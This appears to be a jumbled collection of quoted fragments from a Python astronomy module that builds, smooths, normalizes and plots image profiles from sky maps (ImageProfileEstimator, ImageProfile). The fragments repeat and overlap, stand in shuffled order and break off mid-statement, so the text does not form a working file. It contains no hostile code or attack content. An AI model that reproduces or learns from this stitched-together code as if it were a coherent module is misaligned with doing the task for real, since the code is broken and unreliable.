Image profile", "run p = ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts) # smooth", "e.g. MC based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image.", "from astropy.table import Table from .core import Estimator __all__ =", "== \"lon\": lon = coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\") elif", "np.nansum(profile) else: raise ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"] /= norm", "mask) result = Table() x_edges = self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1]", "self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image profile error quantity.\"\"\" try: return", "/ 2 result[\"profile\"] = profile * image.unit if profile_err is", "__init__(self, table): self.table = table def smooth(self, kernel=\"box\", radius=\"0.1 deg\",", "corresponding error on :math:`x_j` is then estimated using Gaussian error", "== \"radial\": rad_step = image.geom.pixel_scales.mean() corners = [0, 0, -1,", "coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image profile quantity.\"\"\" return", "passed to `ImageProfile.plot_profile()` Returns ------- ax : `~matplotlib.axes.Axes` Axes object", "data = np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] == \"radial\": separation =", "profile = table[\"profile\"] radius = u.Quantity(radius) radius = np.abs(radius /", "regions from the measurement. Returns ------- profile : `ImageProfile` Result", "\"\"\"Run image profile estimator. Parameters ---------- image : `~gammapy.maps.Map` Input", "a counts profile for the Fermi galactic center region:: import", "= image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\": x_edges = coordinates[:, 0].data.lat", "`~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile : `ImageProfile` Smoothed image profile.", "arguments passed to plt.fill_between() Returns ------- ax : `~matplotlib.axes.Axes` Axes", "as u from astropy.convolution import Box1DKernel, Gaussian1DKernel from astropy.coordinates import", "axis, choose either 'lon' or 'lat'\") if method == \"radial\"", "(optional). * `profile` Image profile data (required). * `profile_err` Image", "coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] == \"lat\": lat", "is not None: return self._x_edges p = self.parameters coordinates =", "2, labels.data, index) profile_err = np.sqrt(err_sum) / N return profile,", "+ self.table[\"profile_err\"].data x = self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\", 0.5)", "[\"sum\", \"mean\"]: raise ValueError(\"Not a valid method, choose either 'sum'", "def x_min(self): \"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def x_max(self):", "to plt.fill_between() Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\"", "---------- mode : ['integral', 'peak'] Normalize image profile so that", "x_edges : `~astropy.coordinates.Angle` Coordinate edges to define a custom measument", "lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\": rad_step = image.geom.pixel_scales.mean() corners =", "smoothed *= int(width) smoothed_err = np.sqrt(smoothed) elif \"profile_err\" in table.colnames:", "image_err, mask) result = Table() x_edges = self._get_x_edges(image) result[\"x_min\"] =", "`ImageProfile.plot_profile()` Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\" import", "def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges = x_edges if", "np.nanmax(profile) elif mode == \"integral\": norm = np.nansum(profile) else: raise", "minimum (optional). * `x_max` Coordinate bin maximum (optional). * `profile`", "profile_err = table[\"profile_err\"] # use gaussian error propagation box =", "= table[\"profile_err\"] # use gaussian error propagation box = Box1DKernel(width)", "x_min(self): \"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max.", "object, with the following columns: * `x_ref` Coordinate bin center", "image_err, mask): p = self.parameters labels = self._label_image(image, mask) profile_err", "with the columns specified as above. \"\"\" def __init__(self, table):", "table[\"profile\"] /= norm if \"profile_err\" in table.colnames: table[\"profile_err\"] /= norm", "is given it is converted to pixels using `xref[1] -", "elif p[\"method\"] == \"mean\": # gaussian error propagation profile =", "= coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges", "plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\")", "an (angular) quantity is given it is converted to pixels", "@property def x_min(self): \"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def", "except KeyError: return None def peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show", "table = self.table.copy() profile = self.table[\"profile\"] if mode == \"peak\":", "lon = coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] ==", "= np.nanmax(profile) elif mode == \"integral\": norm = np.nansum(profile) else:", "** 2, box.array ** 2) smoothed_err = np.sqrt(err_sum) elif kernel", "2 result[\"profile\"] = profile * image.unit if profile_err is not", "= np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] == \"radial\": separation = coordinates.separation(p[\"center\"])", "self.__class__(table) def plot(self, ax=None, **kwargs): \"\"\"Plot image profile. Parameters ----------", "import Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement measuring", "---------- image : `~gammapy.maps.Map` Input image to run profile estimator", "\"\"\"Plot image profile. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object", "y = self.table[\"profile\"].data x = self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\")", "self.table[\"profile\"] if mode == \"peak\": norm = np.nanmax(profile) elif mode", "lon = coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"] ==", "= self.parameters coordinates = image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if p[\"axis\"]", "coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] == \"radial\": separation", "------- profile : `ImageProfile` Smoothed image profile. \"\"\" table =", "**kwargs): \"\"\"Plot image profile. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes", "= scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs ) # use gaussian error", "= Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, gauss.array ** 2)", "style license - see LICENSE.rst \"\"\"Tools to create profiles (i.e.", "implement measuring profile along arbitrary directions # TODO: think better", "= coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg) if mask is not", "box.array ** 2) smoothed_err = np.sqrt(err_sum) elif kernel == \"gauss\":", "to compute a counts profile for the Fermi galactic center", "profile = scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile)", "np.sqrt(profile) elif image_err: # gaussian error propagation err_sum = scipy.ndimage.sum(image_err.data", "values to background data[mask.data] = 0 return image.copy(data=data) def run(self,", "of the convolution kernel. The corresponding error on :math:`x_j` is", "is interpreted as smoothing width in pixels. If an (angular)", "Keyword arguments passed to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns", "mode == \"peak\": norm = np.nanmax(profile) elif mode == \"integral\":", "table = self.table.copy() profile = table[\"profile\"] radius = u.Quantity(radius) radius", "= Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, box.array ** 2)", "= self.table.copy() profile = self.table[\"profile\"] if mode == \"peak\": norm", "define a custom measument grid (optional). method : ['sum', 'mean']", "unity ('integral') or the maximum value corresponds to one ('peak').", "+ 1 if kernel == \"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"),", "smooth profile and plot smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\"", "x_edges = self._get_x_edges(image) if p[\"axis\"] == \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\")", "x_edges.deg) elif p[\"axis\"] == \"radial\": separation = coordinates.separation(p[\"center\"]) data =", "* `profile_err` Image profile data error (optional). Parameters ---------- table", "or 'gauss'\") table[\"profile\"] = smoothed * self.table[\"profile\"].unit if \"profile_err\" in", "from gammapy.maps import ImageProfileEstimator from gammapy.maps import Map from astropy", "profile. \"\"\" table = self.table.copy() profile = self.table[\"profile\"] if mode", "the measurement. Returns ------- profile : `ImageProfile` Result image profile", "elif p[\"axis\"] == \"radial\": separation = coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree,", "Map.read(filename) # set up profile estimator and run p =", "on :math:`x_j` is then estimated using Gaussian error propagation, neglecting", "or float Smoothing width given as quantity or float. If", "return profile, profile_err def _label_image(self, image, mask=None): p = self.parameters", "(optional). Parameters ---------- table : `~astropy.table.Table` Table instance with the", "= \\sqrt{\\sum_i \\Delta x^{2}_{(j - i)} h^{2}_i} Parameters ---------- kernel", "ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax @property def x_ref(self):", "return self.table[\"profile_err\"].quantity except KeyError: return None def peek(self, figsize=(8, 4.5),", "scipy.ndimage from astropy import units as u from astropy.convolution import", "\"slices\" from 2D images).\"\"\" import numpy as np import scipy.ndimage", "= np.sqrt(err_sum) elif p[\"method\"] == \"mean\": # gaussian error propagation", "MC based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image. Parameters", "elif kernel == \"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs", "def plot_err(self, ax=None, **kwargs): \"\"\"Plot image profile error as band.", "Returns ------- profile : `ImageProfile` Normalized image profile. \"\"\" table", "image_err : `~gammapy.maps.Map` Input error image to run profile estimator", "propagation. Smoothing is described by a convolution: .. math:: x_j", "= y + self.table[\"profile_err\"].data x = self.x_ref.value # plotting defaults", "shows how to compute a counts profile for the Fermi", ": `~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as plt fig", "def normalize(self, mode=\"peak\"): \"\"\"Normalize profile to peak value or integral.", "rad_step = image.geom.pixel_scales.mean() corners = [0, 0, -1, -1], [0,", "error. Parameters ---------- **kwargs : dict Keyword arguments passed to", "result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result) class ImageProfile: \"\"\"Image profile class.", "ax @property def x_ref(self): \"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property", "is converted to pixels using `xref[1] - x_ref[0]`. kwargs :", "ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax @property", "------- profile : `ImageProfile` Result image profile object. \"\"\" p", "self._estimate_profile(image, image_err, mask) result = Table() x_edges = self._get_x_edges(image) result[\"x_min\"]", "\"radial\" and center is None: raise ValueError(\"Please provide center coordinate", "profile. center : `~astropy.coordinates.SkyCoord` Center coordinate for the radial profile", "is None: ax = plt.gca() y = self.table[\"profile\"].data x =", "measuring profile along arbitrary directions # TODO: think better about", "# assign masked values to background data[mask.data] = 0 return", "profile to peak value or integral. Parameters ---------- mode :", "profile : `ImageProfile` Normalized image profile. \"\"\" table = self.table.copy()", "coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges def", "smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag = \"ImageProfileEstimator\" def", "- i)} h_i Where :math:`h_i` are the coefficients of the", "**kwargs): \"\"\"Plot image profile error as band. Parameters ---------- ax", "Axes object \"\"\" import matplotlib.pyplot as plt fig = plt.figure(figsize=figsize)", "self.table[\"profile\"].unit if \"profile_err\" in table.colnames: table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit", "N return profile, profile_err def _label_image(self, image, mask=None): p =", "profile_err is not None: result[\"profile_err\"] = profile_err * image.unit result.meta[\"PROFILE_TYPE\"]", "= np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] == \"lat\": lat = coordinates.data.lat", "# gaussian error propagation profile = scipy.ndimage.mean(image.data, labels.data, index) if", "ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image. Parameters ---------- x_edges : `~astropy.coordinates.Angle`", "center : `~astropy.coordinates.SkyCoord` Center coordinate for the radial profile option.", "\"radial\": separation = coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg) if mask", ": `~gammapy.maps.Map` Input error image to run profile estimator on.", "\"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs ) # renormalize", "Parameters ---------- image : `~gammapy.maps.Map` Input image to run profile", "= p[\"axis\"] return ImageProfile(result) class ImageProfile: \"\"\"Image profile class. The", "table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit return self.__class__(table) def plot(self, ax=None,", "dict Keyword arguments passed to plt.fill_between() Returns ------- ax :", "ax : `~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as plt", "x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image profile quantity.\"\"\"", "scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif image_err:", "`~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as plt if ax", "= np.nansum(profile) else: raise ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"] /=", "\"radial\": rad_step = image.geom.pixel_scales.mean() corners = [0, 0, -1, -1],", "raise ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"] /= norm if \"profile_err\"", "ax = self.plot_err(ax, color=kwargs.get(\"c\")) return ax def normalize(self, mode=\"peak\"): \"\"\"Normalize", "y = self.table[\"profile\"].data ymin = y - self.table[\"profile_err\"].data ymax =", "2, gauss.array ** 2) smoothed_err = np.sqrt(err_sum) else: raise ValueError(\"Not", "x = self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin,", "error propagation, neglecting correlations between the individual :math:`x_{(j - i)}`:", "x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:]) / 2 result[\"profile\"] =", "= table def smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile", "# use gaussian error propagation if \"profile_err\" in table.colnames: profile_err", "Map from astropy import units as u # load example", "x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max. x coordinates.\"\"\"", "else: raise ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"] /= norm if", "axis not in [\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not a valid", "= ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts) # smooth profile and", "to run profile estimator on. image_err : `~gammapy.maps.Map` Input error", "(angular) quantity is given it is converted to pixels using", "in [\"sum\", \"mean\"]: raise ValueError(\"Not a valid method, choose either", "center region:: import matplotlib.pyplot as plt from gammapy.maps import ImageProfileEstimator", "propagation err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err =", "profile : `ImageProfile` Result image profile object. \"\"\" p =", "coefficients of the convolution kernel. The corresponding error on :math:`x_j`", "about error handling. e.g. MC based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate", "i)}`: .. math:: \\Delta x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j -", "**kwargs ) # use gaussian error propagation if \"profile_err\" in", "from image. Parameters ---------- x_edges : `~astropy.coordinates.Angle` Coordinate edges to", "Axes object **kwargs : dict Keyword arguments passed to plt.fill_between()", "if axis not in [\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not a", "None: ax = plt.gca() y = self.table[\"profile\"].data ymin = y", "ax = plt.gca() y = self.table[\"profile\"].data ymin = y -", "p = self.parameters coordinates = image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if", "smoothed_err * self.table[\"profile\"].unit return self.__class__(table) def plot(self, ax=None, **kwargs): \"\"\"Plot", "image profile so that it integrates to unity ('integral') or", "image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\": x_edges = coordinates[:, 0].data.lat elif", "color=kwargs.get(\"c\")) return ax def normalize(self, mode=\"peak\"): \"\"\"Normalize profile to peak", "images).\"\"\" import numpy as np import scipy.ndimage from astropy import", "as plt if ax is None: ax = plt.gca() y", "and center is None: raise ValueError(\"Please provide center coordinate for", "dict Keyword arguments passed to `~matplotlib.axes.Axes.plot` Returns ------- ax :", "'lat'\") if method == \"radial\" and center is None: raise", "kernel == \"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs )", "`~gammapy.maps.Map` Optional mask to exclude regions from the measurement. Returns", "data[mask.data] = 0 return image.copy(data=data) def run(self, image, image_err=None, mask=None):", "plt.show() \"\"\" tag = \"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\",", "2, labels.data, index) profile_err = np.sqrt(err_sum) elif p[\"method\"] == \"mean\":", "profile_err = np.sqrt(err_sum) / N return profile, profile_err def _label_image(self,", "**kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax def plot_err(self, ax=None,", "0].data.lat elif p[\"axis\"] == \"lon\": lon = coordinates[0, :].data.lon x_edges", "x_edges if method not in [\"sum\", \"mean\"]: raise ValueError(\"Not a", "p = ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts) # smooth profile", "Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, box.array ** 2) smoothed_err", "0.5) ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax", "smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs ) # renormalize data", "= x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:])", "the individual :math:`x_{(j - i)}`: .. math:: \\Delta x_j =", "[0, -1, 0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0,", "ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax def plot_err(self, ax=None, **kwargs): \"\"\"Plot", ": ['integral', 'peak'] Normalize image profile so that it integrates", "in pixels. If an (angular) quantity is given it is", "(x_edges[:-1] + x_edges[1:]) / 2 result[\"profile\"] = profile * image.unit", "* radius.value + 1 if kernel == \"box\": smoothed =", "profile_err = np.sqrt(profile) elif image_err: # gaussian error propagation err_sum", "compute a counts profile for the Fermi galactic center region::", "either 'sum' or 'mean'\") if axis not in [\"lon\", \"lat\",", "2) smoothed_err = np.sqrt(err_sum) elif kernel == \"gauss\": smoothed =", "Compute sum or mean within profile bins. axis : ['lon',", "Table instance with the columns specified as above. \"\"\" def", "Fermi galactic center region:: import matplotlib.pyplot as plt from gammapy.maps", "# load example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename)", "\"lat\", \"radial\"]: raise ValueError(\"Not a valid axis, choose either 'lon'", "= coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\":", "x_ref[0]`. kwargs : dict Keyword arguments passed to `~scipy.ndimage.uniform_filter` ('box')", "maximum (optional). * `profile` Image profile data (required). * `profile_err`", "# set up profile estimator and run p = ImageProfileEstimator(axis='lon',", "\"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum", "-1, -1], [0, -1, 0, -1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges", "valid kernel choose either 'box' or 'gauss'\") table[\"profile\"] = smoothed", "Where :math:`h_i` are the coefficients of the convolution kernel. The", "return ax @property def x_ref(self): \"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity", "see LICENSE.rst \"\"\"Tools to create profiles (i.e. 1D \"slices\" from", "`~matplotlib.axes.Axes.plot` Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\" import", "Center coordinate for the radial profile option. Examples -------- This", "x_edges def _estimate_profile(self, image, image_err, mask): p = self.parameters labels", "Box1DKernel, Gaussian1DKernel from astropy.coordinates import Angle from astropy.table import Table", "`~gammapy.maps.Map` Input image to run profile estimator on. image_err :", "import units as u from astropy.convolution import Box1DKernel, Gaussian1DKernel from", "profile estimator on. image_err : `~gammapy.maps.Map` Input error image to", "arbitrary directions # TODO: think better about error handling. e.g.", "class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image. Parameters ---------- x_edges :", "# gaussian error propagation err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data,", "`~astropy.units.Quantity`, str or float Smoothing width given as quantity or", "ax : `~matplotlib.axes.Axes` Axes object **kwargs : dict Keyword arguments", "`~astropy.coordinates.SkyCoord` Center coordinate for the radial profile option. Examples --------", "matplotlib.pyplot as plt if ax is None: ax = plt.gca()", "or 'mean'\") if axis not in [\"lon\", \"lat\", \"radial\"]: raise", "= self._get_x_edges(image) if p[\"axis\"] == \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data", "not None: # assign masked values to background data[mask.data] =", "table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, gauss.array", "x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges def _estimate_profile(self,", "\"sum\": profile = scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err =", "\"\"\"Estimate profile from image. Parameters ---------- x_edges : `~astropy.coordinates.Angle` Coordinate", "= \"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges =", "np.abs(radius / np.diff(self.x_ref))[0] width = 2 * radius.value + 1", "Coordinate bin minimum (optional). * `x_max` Coordinate bin maximum (optional).", "raise ValueError(\"Not valid kernel choose either 'box' or 'gauss'\") table[\"profile\"]", "to one ('peak'). Returns ------- profile : `ImageProfile` Normalized image", "def run(self, image, image_err=None, mask=None): \"\"\"Run image profile estimator. Parameters", "import Table from .core import Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"]", ":].data.lon x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\": rad_step =", "= self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] =", "filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) # set up profile", "converted to pixels using `xref[1] - x_ref[0]`. kwargs : dict", "method == \"radial\" and center is None: raise ValueError(\"Please provide", "Examples -------- This example shows how to compute a counts", "+ x_edges[1:]) / 2 result[\"profile\"] = profile * image.unit if", "table[\"profile\"] = smoothed * self.table[\"profile\"].unit if \"profile_err\" in table.colnames: table[\"profile_err\"]", "in self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\")) return ax def normalize(self,", "table[\"profile\"] radius = u.Quantity(radius) radius = np.abs(radius / np.diff(self.x_ref))[0] width", "= plt.gca() y = self.table[\"profile\"].data x = self.x_ref.value ax.plot(x, y,", "import Box1DKernel, Gaussian1DKernel from astropy.coordinates import Angle from astropy.table import", "ymax = y + self.table[\"profile_err\"].data x = self.x_ref.value # plotting", "image to run profile estimator on. mask : `~gammapy.maps.Map` Optional", "= self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax,", "def profile(self): \"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity @property def profile_err(self):", "\"\"\" tag = \"ImageProfileEstimator\" def __init__(self, x_edges=None, method=\"sum\", axis=\"lon\", center=None):", "mode == \"integral\": norm = np.nansum(profile) else: raise ValueError(f\"Invalid normalization", "as plt fig = plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1, 0.8,", "= coordinates[:, 0].data.lat elif p[\"axis\"] == \"lon\": lon = coordinates[0,", "**kwargs) if \"profile_err\" in self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\")) return", "ax = fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax = self.plot(ax, **kwargs)", "not in [\"sum\", \"mean\"]: raise ValueError(\"Not a valid method, choose", "\"\"\"Show image profile and error. Parameters ---------- **kwargs : dict", "Returns ------- profile : `ImageProfile` Result image profile object. \"\"\"", "def profile_err(self): \"\"\"Image profile error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except", "\\Delta x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j - i)} h^{2}_i} Parameters", "given it is converted to pixels using `xref[1] - x_ref[0]`.", "matplotlib.pyplot as plt fig = plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1,", "raise ValueError(\"Not a valid method, choose either 'sum' or 'mean'\")", "kernel. The corresponding error on :math:`x_j` is then estimated using", "based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image. Parameters ----------", "a 3-clause BSD style license - see LICENSE.rst \"\"\"Tools to", "edges to define a custom measument grid (optional). method :", "self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax, **kwargs)", "= (x_edges[:-1] + x_edges[1:]) / 2 result[\"profile\"] = profile *", "Angle from astropy.table import Table from .core import Estimator __all__", "len(self._get_x_edges(image))) if p[\"method\"] == \"sum\": profile = scipy.ndimage.sum(image.data, labels.data, index)", "the following columns: * `x_ref` Coordinate bin center (required). *", "convolution: .. math:: x_j = \\sum_i x_{(j - i)} h_i", "error handling. e.g. MC based methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile", "result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] +", "better about error handling. e.g. MC based methods class ImageProfileEstimator(Estimator):", "= '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) # set up profile estimator", "x^{2}_{(j - i)} h^{2}_i} Parameters ---------- kernel : {'gauss', 'box'}", "pixels using `xref[1] - x_ref[0]`. kwargs : dict Keyword arguments", "# use gaussian error propagation box = Box1DKernel(width) err_sum =", "kernel == \"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs )", "**kwargs): \"\"\"Show image profile and error. Parameters ---------- **kwargs :", "= scipy.ndimage.convolve(profile_err ** 2, box.array ** 2) smoothed_err = np.sqrt(err_sum)", "- see LICENSE.rst \"\"\"Tools to create profiles (i.e. 1D \"slices\"", "labels.data, index) if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum", "= self._estimate_profile(image, image_err, mask) result = Table() x_edges = self._get_x_edges(image)", "profile and error. Parameters ---------- **kwargs : dict Keyword arguments", "\"\"\" table = self.table.copy() profile = self.table[\"profile\"] if mode ==", "grid (optional). method : ['sum', 'mean'] Compute sum or mean", "image.copy(data=data) def run(self, image, image_err=None, mask=None): \"\"\"Run image profile estimator.", "= self.table[\"profile\"].data ymin = y - self.table[\"profile_err\"].data ymax = y", "\"integral\": norm = np.nansum(profile) else: raise ValueError(f\"Invalid normalization mode: {mode!r}\")", "if \"profile_err\" in table.colnames: table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit return", "ValueError(\"Not a valid method, choose either 'sum' or 'mean'\") if", "err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err = np.sqrt(err_sum)", "profile_err def _label_image(self, image, mask=None): p = self.parameters coordinates =", "Result image profile object. \"\"\" p = self.parameters if image.unit.is_equivalent(\"count\"):", "try: return self.table[\"profile_err\"].quantity except KeyError: return None def peek(self, figsize=(8,", "as plt from gammapy.maps import ImageProfileEstimator from gammapy.maps import Map", "`~astropy.coordinates.Angle` Coordinate edges to define a custom measument grid (optional).", "image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif image_err: # gaussian error propagation", "given as quantity or float. If a float is given", ": `~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as plt if", "if kernel == \"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs", ".. math:: x_j = \\sum_i x_{(j - i)} h_i Where", "\"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] # use gaussian error", "self.table[\"profile\"].unit return self.__class__(table) def plot(self, ax=None, **kwargs): \"\"\"Plot image profile.", "corresponds to one ('peak'). Returns ------- profile : `ImageProfile` Normalized", "ax = self.plot(ax, **kwargs) if \"profile_err\" in self.table.colnames: ax =", "and run p = ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts) #", "if method not in [\"sum\", \"mean\"]: raise ValueError(\"Not a valid", "from astropy import units as u # load example data", "= [0, 0, -1, -1], [0, -1, 0, -1] rad_max", "ax def normalize(self, mode=\"peak\"): \"\"\"Normalize profile to peak value or", "counts profile for the Fermi galactic center region:: import matplotlib.pyplot", "error propagation if \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] gauss", "p[\"axis\"] == \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg)", "return ax def plot_err(self, ax=None, **kwargs): \"\"\"Plot image profile error", "= \\sum_i x_{(j - i)} h_i Where :math:`h_i` are the", "**kwargs : dict Keyword arguments passed to plt.fill_between() Returns -------", "('integral') or the maximum value corresponds to one ('peak'). Returns", "== \"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs ) #", "profile.astype(\"float\"), width, **kwargs ) # renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed", "Axes object \"\"\" import matplotlib.pyplot as plt if ax is", "is not None: result[\"profile_err\"] = profile_err * image.unit result.meta[\"PROFILE_TYPE\"] =", "{\"method\": method, \"axis\": axis, \"center\": center} def 